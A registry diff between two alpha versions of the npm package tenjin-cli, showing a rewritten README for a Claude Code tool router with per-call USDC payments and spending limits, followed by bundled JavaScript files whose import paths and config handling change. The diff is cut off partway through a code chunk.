tenjin-cli 0.1.0-alpha.18 → 0.1.0-alpha.19
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +151 -40
- package/dist/{_esm-CE7KNONL.js → _esm-OVVGTKHH.js} +4 -4
- package/dist/{chunk-WUHY2AXD.js → chunk-2SQEFBAM.js} +4 -3
- package/dist/{chunk-FGR734LZ.js → chunk-3VYGDRRL.js} +5 -5
- package/dist/{chunk-PDA2BVFY.js → chunk-5DOHKQ24.js} +4 -15
- package/dist/chunk-5DOHKQ24.js.map +1 -0
- package/dist/{chunk-N35E6CM2.js → chunk-6DCELMQA.js} +6 -6
- package/dist/{chunk-WXC57XGG.js → chunk-A36LQPHV.js} +1 -1
- package/dist/chunk-A36LQPHV.js.map +1 -0
- package/dist/{chunk-BTX2QE2Y.js → chunk-A6CY6BUW.js} +3 -3
- package/dist/{chunk-TP4D47BY.js → chunk-AISBL7EY.js} +3 -3
- package/dist/{chunk-ON6C6WOX.js → chunk-AMG4SONW.js} +138 -58
- package/dist/chunk-AMG4SONW.js.map +1 -0
- package/dist/{chunk-AUKDYPPX.js → chunk-BG2EXNAA.js} +7 -6
- package/dist/chunk-BG2EXNAA.js.map +1 -0
- package/dist/{chunk-F3FUGWPZ.js → chunk-FHBGTOFA.js} +121 -40
- package/dist/chunk-FHBGTOFA.js.map +1 -0
- package/dist/{chunk-HPWO4O6S.js → chunk-FPUPBQHX.js} +2 -2
- package/dist/{chunk-3AUDA53C.js → chunk-KTAW4KGH.js} +6 -5
- package/dist/{chunk-J5INH7WB.js → chunk-LSWVVSFX.js} +106 -5
- package/dist/chunk-LSWVVSFX.js.map +1 -0
- package/dist/chunk-O2JYBOUO.js +47 -0
- package/dist/chunk-O2JYBOUO.js.map +1 -0
- package/dist/{chunk-NRQMOVKM.js → chunk-PZQRSZJV.js} +2 -2
- package/dist/{chunk-NRQMOVKM.js.map → chunk-PZQRSZJV.js.map} +1 -1
- package/dist/{chunk-N44H5TFB.js → chunk-SCAOYGKX.js} +315 -71
- package/dist/chunk-SCAOYGKX.js.map +1 -0
- package/dist/{chunk-35M3VITA.js → chunk-TDGN476R.js} +60 -7
- package/dist/chunk-TDGN476R.js.map +1 -0
- package/dist/{chunk-AR7U7BRG.js → chunk-UNV4K45L.js} +12 -18
- package/dist/{chunk-AR7U7BRG.js.map → chunk-UNV4K45L.js.map} +1 -1
- package/dist/{chunk-ZG7SFI34.js → chunk-VFVFVQM6.js} +4 -4
- package/dist/{chunk-EPCOMXLF.js → chunk-WUU3BH6G.js} +2 -2
- package/dist/{chunk-KUBEYXSO.js → chunk-XDADPAWW.js} +22 -22
- package/dist/{chunk-YPQSMIDH.js → chunk-XNP6VUAJ.js} +3 -3
- package/dist/{chunk-AWQPGIR6.js → chunk-Y66XUXVI.js} +5 -5
- package/dist/{chunk-TJMCBIZU.js → chunk-ZDKEU2GF.js} +2 -2
- package/dist/{chunk-WLMJE3GJ.js → chunk-ZTFIQC4C.js} +2 -2
- package/dist/{cli-MP3RAYHL.js → cli-456F77ZY.js} +33 -28
- package/dist/{cli-MP3RAYHL.js.map → cli-456F77ZY.js.map} +1 -1
- package/dist/{config-BJK6U5VY.js → config-BLUWOH6S.js} +9 -12
- package/dist/{doctor-KJROWE5V.js → doctor-PS45CR3T.js} +37 -29
- package/dist/{doctor-KJROWE5V.js.map → doctor-PS45CR3T.js.map} +1 -1
- package/dist/{fund-I5COXPEJ.js → fund-4SW2ZBWC.js} +17 -17
- package/dist/{hook-command-EJO2564A.js → hook-command-YTV7X333.js} +247 -24
- package/dist/hook-command-YTV7X333.js.map +1 -0
- package/dist/index.js +2 -2
- package/dist/{install-NUQLLHS2.js → install-U4BIDCHH.js} +14 -13
- package/dist/{install-wallet-JPFTEC6H.js → install-wallet-EYHELQMG.js} +14 -14
- package/dist/{mcp-I5XMVE64.js → mcp-AC4PIXH5.js} +30 -26
- package/dist/{mcp-I5XMVE64.js.map → mcp-AC4PIXH5.js.map} +1 -1
- package/dist/{pay-WA3JSCNB.js → pay-VJOP6TFT.js} +19 -19
- package/dist/{send-KVUH5WDO.js → send-YH75Z6LB.js} +14 -14
- package/dist/{status-FFC6FO72.js → status-5CHCDLUE.js} +24 -17
- package/dist/status-5CHCDLUE.js.map +1 -0
- package/dist/{status-line-SAXSU6CR.js → status-line-CZAZUOAY.js} +6 -6
- package/dist/{status-line-wiring-DQZCWIUO.js → status-line-wiring-2ABDVXSJ.js} +4 -4
- package/dist/tenjin-daemon.mjs +3 -14
- package/dist/{uninstall-SWICHBTF.js → uninstall-BYVGAQMO.js} +13 -15
- package/dist/{uninstall-SWICHBTF.js.map → uninstall-BYVGAQMO.js.map} +1 -1
- package/dist/{update-W572AMXG.js → update-7QJDSHST.js} +5 -5
- package/dist/{viemAdapter-By13KInL-X2VY6CY3.js → viemAdapter-By13KInL-N2GIVMZ7.js} +2 -2
- package/dist/{wallet-L2YLAJFN.js → wallet-YZOXIXBC.js} +14 -14
- package/docs/agent-permissions.md +29 -13
- package/docs/safety-model.md +7 -1
- package/package.json +1 -1
- package/dist/chunk-35M3VITA.js.map +0 -1
- package/dist/chunk-AUKDYPPX.js.map +0 -1
- package/dist/chunk-F3FUGWPZ.js.map +0 -1
- package/dist/chunk-J5INH7WB.js.map +0 -1
- package/dist/chunk-N44H5TFB.js.map +0 -1
- package/dist/chunk-ON6C6WOX.js.map +0 -1
- package/dist/chunk-PDA2BVFY.js.map +0 -1
- package/dist/chunk-U2DZISAH.js +0 -111
- package/dist/chunk-U2DZISAH.js.map +0 -1
- package/dist/chunk-WS4JA6TC.js +0 -137
- package/dist/chunk-WS4JA6TC.js.map +0 -1
- package/dist/chunk-WXC57XGG.js.map +0 -1
- package/dist/hook-command-EJO2564A.js.map +0 -1
- package/dist/skill-placement-JMDPSKE6.js +0 -299
- package/dist/skill-placement-JMDPSKE6.js.map +0 -1
- package/dist/status-FFC6FO72.js.map +0 -1
- /package/dist/{_esm-CE7KNONL.js.map → _esm-OVVGTKHH.js.map} +0 -0
- /package/dist/{chunk-WUHY2AXD.js.map → chunk-2SQEFBAM.js.map} +0 -0
- /package/dist/{chunk-FGR734LZ.js.map → chunk-3VYGDRRL.js.map} +0 -0
- /package/dist/{chunk-N35E6CM2.js.map → chunk-6DCELMQA.js.map} +0 -0
- /package/dist/{chunk-BTX2QE2Y.js.map → chunk-A6CY6BUW.js.map} +0 -0
- /package/dist/{chunk-TP4D47BY.js.map → chunk-AISBL7EY.js.map} +0 -0
- /package/dist/{chunk-HPWO4O6S.js.map → chunk-FPUPBQHX.js.map} +0 -0
- /package/dist/{chunk-3AUDA53C.js.map → chunk-KTAW4KGH.js.map} +0 -0
- /package/dist/{chunk-ZG7SFI34.js.map → chunk-VFVFVQM6.js.map} +0 -0
- /package/dist/{chunk-EPCOMXLF.js.map → chunk-WUU3BH6G.js.map} +0 -0
- /package/dist/{chunk-KUBEYXSO.js.map → chunk-XDADPAWW.js.map} +0 -0
- /package/dist/{chunk-YPQSMIDH.js.map → chunk-XNP6VUAJ.js.map} +0 -0
- /package/dist/{chunk-AWQPGIR6.js.map → chunk-Y66XUXVI.js.map} +0 -0
- /package/dist/{chunk-TJMCBIZU.js.map → chunk-ZDKEU2GF.js.map} +0 -0
- /package/dist/{chunk-WLMJE3GJ.js.map → chunk-ZTFIQC4C.js.map} +0 -0
- /package/dist/{config-BJK6U5VY.js.map → config-BLUWOH6S.js.map} +0 -0
- /package/dist/{fund-I5COXPEJ.js.map → fund-4SW2ZBWC.js.map} +0 -0
- /package/dist/{install-NUQLLHS2.js.map → install-U4BIDCHH.js.map} +0 -0
- /package/dist/{install-wallet-JPFTEC6H.js.map → install-wallet-EYHELQMG.js.map} +0 -0
- /package/dist/{pay-WA3JSCNB.js.map → pay-VJOP6TFT.js.map} +0 -0
- /package/dist/{send-KVUH5WDO.js.map → send-YH75Z6LB.js.map} +0 -0
- /package/dist/{status-line-SAXSU6CR.js.map → status-line-CZAZUOAY.js.map} +0 -0
- /package/dist/{status-line-wiring-DQZCWIUO.js.map → status-line-wiring-2ABDVXSJ.js.map} +0 -0
- /package/dist/{update-W572AMXG.js.map → update-7QJDSHST.js.map} +0 -0
- /package/dist/{viemAdapter-By13KInL-X2VY6CY3.js.map → viemAdapter-By13KInL-N2GIVMZ7.js.map} +0 -0
- /package/dist/{wallet-L2YLAJFN.js.map → wallet-YZOXIXBC.js.map} +0 -0
package/README.md
CHANGED
|
@@ -1,89 +1,202 @@
|
|
|
1
|
-
|
|
1
|
+
<p align="center">
|
|
2
|
+
<picture>
|
|
3
|
+
<source media="(prefers-color-scheme: dark)" srcset="./assets/logo-dark.svg">
|
|
4
|
+
<img src="./assets/logo-light.svg" alt="Tenjin" width="220">
|
|
5
|
+
</picture>
|
|
6
|
+
</p>
|
|
2
7
|
|
|
3
|
-
|
|
8
|
+
<h3 align="center">The tool router for coding agents.</h3>
|
|
9
|
+
|
|
10
|
+
<p align="center">
|
|
11
|
+
Give your agent superpowers once. Tenjin hands it the right tool when it helps, and you keep working like before.<br>
|
|
12
|
+
No API keys. No pile of MCP servers. No rules to write.
|
|
13
|
+
</p>
|
|
14
|
+
|
|
15
|
+
<p align="center">
|
|
16
|
+
<a href="https://www.npmjs.com/package/tenjin-cli"><img src="https://img.shields.io/npm/v/tenjin-cli?color=C85A3B&label=npm" alt="npm version"></a>
|
|
17
|
+
<img src="https://img.shields.io/badge/works%20with-Claude%20Code-1C1A17" alt="Works with Claude Code">
|
|
18
|
+
<img src="https://img.shields.io/badge/payments-x402-8C9A7E" alt="Payments via x402">
|
|
19
|
+
</p>
|
|
20
|
+
|
|
21
|
+
<p align="center">
|
|
22
|
+
<a href="#quick-start">Quick start</a> ·
|
|
23
|
+
<a href="#what-it-can-do">Tools</a> ·
|
|
24
|
+
<a href="#wallet-and-payments">Wallet & payments</a> ·
|
|
25
|
+
<a href="#request-a-tool">Request a tool</a>
|
|
26
|
+
</p>
|
|
27
|
+
|
|
28
|
+
<p align="center">
|
|
29
|
+
<img src="./assets/demo.gif" alt="Tenjin in Claude Code: research, live crypto prices, company lookup, email verification, and computation" width="720">
|
|
30
|
+
</p>
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## Why
|
|
35
|
+
|
|
36
|
+
Giving your agent good tools is a chore today:
|
|
37
|
+
|
|
38
|
+
- **A key for every tool.** Sign up, pick a plan, paste an API key into a config file. Five tools, five accounts.
|
|
39
|
+
- **MCP servers crowd the context.** Every server you install loads its tool definitions into every session, needed or not.
|
|
40
|
+
- **Your agent forgets anyway.** It reaches for plain web search out of habit, so you write rules to remind it, and it still slips.
|
|
41
|
+
- **Some tools you need once.** Installing something permanent for a one-off lookup isn't worth the setup.
|
|
42
|
+
|
|
43
|
+
Tenjin handles all of it. Install it once and keep working. The Tenjin router watches the moments where a tool could help: your prompt, your agent's web searches and page fetches, and the tasks it hands to subagents. When a curated tool beats what your agent was about to do, the router suggests it and your agent calls it. Your wallet pays for each call through [x402](#wallet-and-payments), so you manage no keys and install nothing new.
|
|
4
44
|
|
|
5
45
|
## Quick start
|
|
6
46
|
|
|
7
|
-
|
|
47
|
+
Requires Node.js 24 or newer and [Claude Code](https://code.claude.com). Codex support is on the way.
|
|
8
48
|
|
|
9
49
|
```bash
|
|
10
50
|
npm i -g tenjin-cli
|
|
11
|
-
tenjin install
|
|
12
|
-
tenjin wallet fund
|
|
51
|
+
tenjin install # sets up Claude Code and creates your wallet
|
|
52
|
+
tenjin wallet fund 2 # optional: add $2 with a card, via Coinbase
|
|
13
53
|
```
|
|
14
54
|
|
|
15
|
-
`tenjin install` sets up Claude Code and creates your wallet:
|
|
16
|
-
|
|
17
55
|
```text
|
|
18
56
|
✓ Tenjin is set up for Claude Code
|
|
19
57
|
✓ Wallet created: 0x3c0D84055994c3062819Ce8730869D0aDeA4c3Bf
|
|
20
|
-
|
|
58
|
+
Automatic router: up to $0.25 per call; daily limit $5 a day
|
|
21
59
|
|
|
22
60
|
Next: tenjin wallet fund, then restart Claude Code
|
|
23
61
|
```
|
|
24
62
|
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
## Using it
|
|
63
|
+
Restart Claude Code. That's it.
|
|
28
64
|
|
|
29
|
-
|
|
65
|
+
Then work as usual. Try:
|
|
30
66
|
|
|
31
67
|
```text
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
Integrate x^2 sin(x) dx from 0 to pi.
|
|
68
|
+
> What are BTC and ETH trading at?
|
|
69
|
+
> How do I paginate list results with the Stripe Node SDK?
|
|
70
|
+
> Is ada@example.com a deliverable address?
|
|
71
|
+
> Integrate x^2 sin(x) dx from 0 to pi.
|
|
36
72
|
```
|
|
37
73
|
|
|
38
|
-
Each answer
|
|
74
|
+
Each answer names the provider and the price. Your agent keeps its own tools, and the router steps in only when it has something better.
|
|
39
75
|
|
|
40
|
-
##
|
|
76
|
+
## What it can do
|
|
41
77
|
|
|
42
|
-
|
|
78
|
+
The router picks from a catalog we curate and maintain. Routing is free: you pay the provider's price and nothing else.
|
|
79
|
+
|
|
80
|
+
| Tool | What your agent gets | Price per call |
|
|
81
|
+
| ---------------------------------------------------------------- | ----------------------------------------------------------- | -------------- |
|
|
82
|
+
| **Docs lookup** · [Context7](https://context7.com) | Current, version-specific docs for a library or API | **Free** |
|
|
83
|
+
| **Web research** · [Exa](https://exa.ai) | Search results with the page content, not just links | $0.007 |
|
|
84
|
+
| **Read a page** · [Firecrawl](https://firecrawl.dev) | One exact page as clean text, even when a plain fetch fails | $0.01 |
|
|
85
|
+
| **Crypto prices** · [CoinMarketCap](https://coinmarketcap.com) | Live quotes for any coin | $0.01 |
|
|
86
|
+
| **Compute** · [Wolfram Alpha](https://www.wolframalpha.com) | Math, unit conversions, science and data questions | $0.02 |
|
|
87
|
+
| **Email check** · [Hunter](https://hunter.io) | Whether an address is real and deliverable | $0.03 |
|
|
88
|
+
| **Person lookup** · Minerva | A professional profile from a name or email | $0.05 |
|
|
89
|
+
| **Company profile** · [CompanyEnrich](https://companyenrich.com) | Size, industry, funding and socials from a domain or name | $0.06 |
|
|
90
|
+
|
|
91
|
+
Free tools run without a funded wallet. Twitter, Reddit and more are next, added by demand: [tell us what you want](#request-a-tool).
|
|
92
|
+
|
|
93
|
+
## How it works
|
|
94
|
+
|
|
95
|
+
```mermaid
|
|
96
|
+
flowchart LR
|
|
97
|
+
A["Your prompt,<br>a web search,<br>or a subagent task"] --> B{"Tenjin<br>router"}
|
|
98
|
+
B -- "a tool fits" --> C["Agent calls it<br>through x402"]
|
|
99
|
+
C --> D["Wallet pays the provider,<br>result comes back"]
|
|
100
|
+
B -- "nothing better" --> E["Agent carries on"]
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
The Tenjin router hooks into Claude Code at your prompt, before each web search or page fetch, and when your agent hands work to a subagent. At each point it asks Jev, a decision model from [TypeSafe](https://typesafe.ai), whether a tool in the catalog fits. Jev can only choose from that fixed list, so it never writes a call or an instruction for your agent.
|
|
104
|
+
|
|
105
|
+
When one fits, your agent sees a one-line suggestion with the tool and its price, and calls it through Tenjin's `x402` MCP server. Tenjin pays the provider from your wallet, within your limits, and hands back the result. Your status line shows the call as it happens:
|
|
43
106
|
|
|
44
107
|
```text
|
|
45
108
|
x402 · request: calling pro-api.coinmarketcap.com/x402/v3/cryptocurrency/quotes/latest · {"query":{"symbol":"BTC,ETH"}}
|
|
46
109
|
```
|
|
47
110
|
|
|
48
|
-
|
|
111
|
+
To pick a tool, the router sends your current turn and up to six recent messages, with keys, passwords and seed phrases masked. Tool results and page contents stay on your machine, and the packet expires after 15 minutes. `tenjin config set router.context turn` sends only the current message. [Full details, and everything install writes →](./docs/agent-permissions.md)
|
|
112
|
+
|
|
113
|
+
## Wallet and payments
|
|
114
|
+
|
|
115
|
+
Tenjin pays for tools with [x402](https://www.x402.org), an open standard that builds payments into HTTP. A paid endpoint answers `402 Payment Required` with its price, the client signs a payment for that amount, and the endpoint returns the result. Neither side needs an account or an API key. Read more: [x402.org](https://www.x402.org) · [whitepaper](https://www.x402.org/x402-whitepaper.pdf) · [Coinbase docs](https://docs.cdp.coinbase.com/x402/welcome) · [spec and SDKs](https://github.com/coinbase/x402).
|
|
116
|
+
|
|
117
|
+
### Your wallet
|
|
49
118
|
|
|
50
|
-
`tenjin install`
|
|
119
|
+
`tenjin install` creates a wallet on your machine that holds [USDC](https://www.circle.com/usdc) on [Base](https://base.org). Tenjin encrypts the private key, unlocks it through your OS keychain, and never sends it anywhere. Tenjin never holds or moves your funds. Paying a provider costs no gas.
|
|
51
120
|
|
|
52
|
-
|
|
121
|
+
### Limits
|
|
53
122
|
|
|
54
|
-
|
|
123
|
+
| Limit | Default | Change it |
|
|
124
|
+
| ---------- | ------- | ------------------------------------- |
|
|
125
|
+
| Per lookup | $0.25 | `tenjin config set maxAutoSpend 0.10` |
|
|
126
|
+
| Per day | $5 | `tenjin config set sessionBudget 2` |
|
|
127
|
+
|
|
128
|
+
Tenjin refuses any payment over either limit before it signs anything.
|
|
129
|
+
|
|
130
|
+
### Funding
|
|
131
|
+
|
|
132
|
+
`tenjin wallet fund 2` opens a Coinbase Onramp checkout for your wallet: pay by card, or Apple Pay where your region supports it. Sign in to Coinbase or create an account during checkout. You can also send USDC on Base to the address `tenjin wallet show` prints.
|
|
133
|
+
|
|
134
|
+
$1–2 goes a long way. $2 covers about 280 web searches, 200 page reads or 100 Wolfram Alpha answers.
|
|
135
|
+
|
|
136
|
+
### Withdrawing
|
|
137
|
+
|
|
138
|
+
`tenjin wallet send <amount> USDC <address>` sends funds to any address. It's a regular onchain transfer, so it needs a little ETH on Base for gas.
|
|
139
|
+
|
|
140
|
+
## Everyday commands
|
|
55
141
|
|
|
56
142
|
```bash
|
|
57
|
-
tenjin status
|
|
58
|
-
tenjin
|
|
59
|
-
tenjin
|
|
60
|
-
tenjin wallet
|
|
143
|
+
tenjin status # what you've spent today
|
|
144
|
+
tenjin wallet balance # what's left
|
|
145
|
+
tenjin wallet fund 5 # top up
|
|
146
|
+
tenjin update # newest version; wallet and settings stay
|
|
147
|
+
tenjin config set router.enabled false # pause the router on this machine
|
|
148
|
+
tenjin config set --project router.enabled false # ...or just in this repo
|
|
149
|
+
tenjin uninstall # remove the Claude Code setup; your wallet stays
|
|
61
150
|
```
|
|
62
151
|
|
|
63
|
-
|
|
152
|
+
Use `tenjin install --project` to set it up for a single project. Add `--json` to any command for machine-readable output.
|
|
153
|
+
|
|
154
|
+
<details>
|
|
155
|
+
<summary>Status line: keeping your own</summary>
|
|
156
|
+
|
|
157
|
+
`tenjin install` sets Claude Code's [status line](https://code.claude.com/docs/en/statusline) only if you don't already have one. If you do, yours is left alone and the install prints a command that shows both; `tenjin install --status-line compose` writes it for you, and `--status-line skip` leaves the setting untouched. The status line reads local files only: no network, no wallet, and it can't affect a lookup or a payment.
|
|
158
|
+
|
|
159
|
+
</details>
|
|
64
160
|
|
|
65
|
-
|
|
161
|
+
<details>
|
|
162
|
+
<summary>Spending limits: the fine print</summary>
|
|
163
|
+
|
|
164
|
+
Limits are set only where no setting exists yet, so an update never overwrites yours. The daily budget is a rolling 24-hour window. Setting either limit to `0` blocks automatic payments; `tenjin config set sessionBudget none` removes the daily ceiling only.
|
|
165
|
+
|
|
166
|
+
`tenjin pay <url>` pays any x402 endpoint you name. It ignores the automatic limits and always asks for your consent to the quoted price, interactively or with `--yes`. It is never used as a workaround when the router refuses. See the [safety model](./docs/safety-model.md).
|
|
167
|
+
|
|
168
|
+
</details>
|
|
169
|
+
|
|
170
|
+
<details>
|
|
171
|
+
<summary>Troubleshooting: Claude Code asks about a new project MCP server named <code>x402</code></summary>
|
|
172
|
+
|
|
173
|
+
Updating to `0.1.0-alpha.18` could accidentally register the server in `~/.mcp.json` while refreshing a user install. After upgrading to a release with the fix, check that file. If its `x402` entry runs `tenjin mcp` and you didn't install at project scope in your home directory on purpose, remove just that registration:
|
|
66
174
|
|
|
67
175
|
```bash
|
|
68
|
-
|
|
69
|
-
tenjin uninstall # removes the Claude Code setup; your wallet stays
|
|
176
|
+
(cd ~ && claude mcp remove x402 -s project)
|
|
70
177
|
```
|
|
71
178
|
|
|
72
|
-
|
|
179
|
+
This keeps your other MCP entries and the user registration in `~/.claude.json`. Run `tenjin install`, then restart Claude Code. Don't use `tenjin uninstall --project` from home for this: its settings path is also the user settings path.
|
|
73
180
|
|
|
74
|
-
|
|
181
|
+
When refreshing from home, Tenjin keeps the existing user registration if there is one, or preserves a project-only registration; with neither, it defaults to user scope. `tenjin install --refresh --project` selects project scope explicitly.
|
|
75
182
|
|
|
76
|
-
|
|
183
|
+
</details>
|
|
184
|
+
|
|
185
|
+
## Request a tool
|
|
186
|
+
|
|
187
|
+
Tenjin is in alpha, and the catalog grows with what people ask for. Missing a service your agent keeps needing? Hit a lookup that went to the wrong place? We want to hear it.
|
|
188
|
+
|
|
189
|
+
- **[Request a tool →](https://github.com/BackTrackCo/tenjin-agent/issues/new?title=Tool%20request%3A%20&labels=enhancement)**
|
|
190
|
+
- **[Report a bug →](https://github.com/BackTrackCo/tenjin-agent/issues/new?labels=bug)**
|
|
191
|
+
|
|
192
|
+
## Learn more
|
|
77
193
|
|
|
78
194
|
- [How a lookup runs, what it sends, and what install writes](./docs/agent-permissions.md)
|
|
79
195
|
- [Safety model](./docs/safety-model.md)
|
|
80
|
-
- `tenjin pay <url>` pays any x402 endpoint you name, under the same limits.
|
|
81
|
-
- Pass `--json` to any command for machine-readable output. Exit codes: `0` success, `1` runtime or network failure, `2` usage error, `3` policy refusal, `4` payment failure.
|
|
82
196
|
|
|
83
197
|
## Developing
|
|
84
198
|
|
|
85
|
-
Before
|
|
86
|
-
contributor agreement and acceptance instructions.
|
|
199
|
+
Before contributing, read [CONTRIBUTING.md](./CONTRIBUTING.md) for the contributor agreement.
|
|
87
200
|
|
|
88
201
|
```bash
|
|
89
202
|
pnpm install
|
|
@@ -93,5 +206,3 @@ pnpm run test
|
|
|
93
206
|
pnpm run typecheck
|
|
94
207
|
pnpm run lint
|
|
95
208
|
```
|
|
96
|
-
|
|
97
|
-
Release notes live in [RELEASING.md](./RELEASING.md).
|
|
@@ -93,7 +93,7 @@ import {
|
|
|
93
93
|
withTimeout,
|
|
94
94
|
zeroAddress,
|
|
95
95
|
zeroHash
|
|
96
|
-
} from "./chunk-
|
|
96
|
+
} from "./chunk-Y66XUXVI.js";
|
|
97
97
|
import {
|
|
98
98
|
InvalidDomainError,
|
|
99
99
|
InvalidPrimaryTypeError,
|
|
@@ -127,8 +127,7 @@ import {
|
|
|
127
127
|
toPrefixedMessage,
|
|
128
128
|
toRlp,
|
|
129
129
|
validateTypedData
|
|
130
|
-
} from "./chunk-
|
|
131
|
-
import "./chunk-JRGFKVAZ.js";
|
|
130
|
+
} from "./chunk-6DCELMQA.js";
|
|
132
131
|
import {
|
|
133
132
|
AccountStateConflictError,
|
|
134
133
|
AtomicReadyWalletRejectedUpgradeError,
|
|
@@ -434,6 +433,7 @@ import {
|
|
|
434
433
|
weiUnits
|
|
435
434
|
} from "./chunk-EGELTSPU.js";
|
|
436
435
|
import "./chunk-KG3D7FIF.js";
|
|
436
|
+
import "./chunk-JRGFKVAZ.js";
|
|
437
437
|
import "./chunk-RBJPAZFI.js";
|
|
438
438
|
import "./chunk-BPMWXTFX.js";
|
|
439
439
|
import "./chunk-ZXTAQYNA.js";
|
|
@@ -877,4 +877,4 @@ export {
|
|
|
877
877
|
zeroAddress,
|
|
878
878
|
zeroHash
|
|
879
879
|
};
|
|
880
|
-
//# sourceMappingURL=_esm-
|
|
880
|
+
//# sourceMappingURL=_esm-OVVGTKHH.js.map
|
|
@@ -1,10 +1,10 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
2
|
import {
|
|
3
3
|
PRODUCTION_ORIGIN
|
|
4
|
-
} from "./chunk-
|
|
4
|
+
} from "./chunk-UNV4K45L.js";
|
|
5
5
|
import {
|
|
6
6
|
package_default
|
|
7
|
-
} from "./chunk-
|
|
7
|
+
} from "./chunk-PZQRSZJV.js";
|
|
8
8
|
import {
|
|
9
9
|
CliError
|
|
10
10
|
} from "./chunk-JLEF5WHM.js";
|
|
@@ -221,7 +221,8 @@ function oversizedHeaderFailure(url) {
|
|
|
221
221
|
}
|
|
222
222
|
|
|
223
223
|
export {
|
|
224
|
+
composeUserAgent,
|
|
224
225
|
httpRequest,
|
|
225
226
|
fetchFailureToCliError
|
|
226
227
|
};
|
|
227
|
-
//# sourceMappingURL=chunk-
|
|
228
|
+
//# sourceMappingURL=chunk-2SQEFBAM.js.map
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
2
|
import {
|
|
3
3
|
getUsdcBalance
|
|
4
|
-
} from "./chunk-
|
|
4
|
+
} from "./chunk-A6CY6BUW.js";
|
|
5
5
|
import {
|
|
6
6
|
commitLocalWallet,
|
|
7
7
|
createLocalWallet,
|
|
@@ -14,18 +14,18 @@ import {
|
|
|
14
14
|
verifyAndPreserveOutgoingWallet,
|
|
15
15
|
walletExistsError,
|
|
16
16
|
walletFileExists
|
|
17
|
-
} from "./chunk-
|
|
17
|
+
} from "./chunk-XDADPAWW.js";
|
|
18
18
|
import {
|
|
19
19
|
LockTimeoutError,
|
|
20
20
|
withFileLock
|
|
21
21
|
} from "./chunk-MEFB5KHA.js";
|
|
22
22
|
import {
|
|
23
23
|
toMoney
|
|
24
|
-
} from "./chunk-
|
|
24
|
+
} from "./chunk-O2JYBOUO.js";
|
|
25
25
|
import {
|
|
26
26
|
loadRawConfig,
|
|
27
27
|
resolveSettings
|
|
28
|
-
} from "./chunk-
|
|
28
|
+
} from "./chunk-UNV4K45L.js";
|
|
29
29
|
import {
|
|
30
30
|
CliError
|
|
31
31
|
} from "./chunk-JLEF5WHM.js";
|
|
@@ -239,4 +239,4 @@ export {
|
|
|
239
239
|
runWalletShow,
|
|
240
240
|
runWalletBalance
|
|
241
241
|
};
|
|
242
|
-
//# sourceMappingURL=chunk-
|
|
242
|
+
//# sourceMappingURL=chunk-3VYGDRRL.js.map
|
|
@@ -1,8 +1,7 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
2
|
import {
|
|
3
|
-
parseConfirmPolicy,
|
|
4
3
|
parseUsdToAtomic
|
|
5
|
-
} from "./chunk-
|
|
4
|
+
} from "./chunk-O2JYBOUO.js";
|
|
6
5
|
import {
|
|
7
6
|
CONFIG_DEFAULTS,
|
|
8
7
|
PRODUCTION_ORIGIN,
|
|
@@ -12,7 +11,7 @@ import {
|
|
|
12
11
|
isSameDeployment,
|
|
13
12
|
loadRawConfig,
|
|
14
13
|
resolveSettings
|
|
15
|
-
} from "./chunk-
|
|
14
|
+
} from "./chunk-UNV4K45L.js";
|
|
16
15
|
import {
|
|
17
16
|
CliError
|
|
18
17
|
} from "./chunk-JLEF5WHM.js";
|
|
@@ -45,13 +44,6 @@ function isTeamShelfOrigin(origin, publicShelfUrl) {
|
|
|
45
44
|
const publicOrigin = tryOrigin(publicShelfUrl);
|
|
46
45
|
return publicOrigin === void 0 || !isSameDeployment(origin, publicOrigin);
|
|
47
46
|
}
|
|
48
|
-
function isTeamModeConfig(config) {
|
|
49
|
-
const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;
|
|
50
|
-
if (typeof secret !== "string" || secret === "") return false;
|
|
51
|
-
const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);
|
|
52
|
-
if (origin === void 0) return false;
|
|
53
|
-
return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);
|
|
54
|
-
}
|
|
55
47
|
async function resolveContextSettings(ctx) {
|
|
56
48
|
const config = await loadRawConfig(ctx.dataDir);
|
|
57
49
|
const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });
|
|
@@ -64,13 +56,11 @@ async function resolveContextSettings(ctx) {
|
|
|
64
56
|
teamMode: bypass !== void 0,
|
|
65
57
|
rpcUrl: s.rpcUrl.value,
|
|
66
58
|
evalCohort: s.evalCohort.value,
|
|
67
|
-
bazaarPay: s.bazaarPay.value,
|
|
68
59
|
bazaarRegistries: s.bazaarRegistries.value,
|
|
69
60
|
sendMaxAmountAtomic: s.sendMaxAmount.value === SEND_MAX_UNSET ? SEND_MAX_UNSET : s.sendMaxAmount.value === "none" ? null : BigInt(s.sendMaxAmount.value),
|
|
70
61
|
policy: {
|
|
71
62
|
maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),
|
|
72
|
-
sessionBudgetAtomic: BigInt(s.sessionBudget.value),
|
|
73
|
-
confirm: parseConfirmPolicy(s.confirm.value),
|
|
63
|
+
sessionBudgetAtomic: s.sessionBudget.value === "none" ? null : BigInt(s.sessionBudget.value),
|
|
74
64
|
allowlistCreators: s.allowlistCreators.value
|
|
75
65
|
}
|
|
76
66
|
};
|
|
@@ -232,7 +222,6 @@ function defaultIsGitignored(filePath) {
|
|
|
232
222
|
|
|
233
223
|
export {
|
|
234
224
|
isTeamShelfOrigin,
|
|
235
|
-
isTeamModeConfig,
|
|
236
225
|
resolveContextSettings,
|
|
237
226
|
loadProjectConfig,
|
|
238
227
|
findNearestProjectFiles,
|
|
@@ -241,4 +230,4 @@ export {
|
|
|
241
230
|
ownedCandidates,
|
|
242
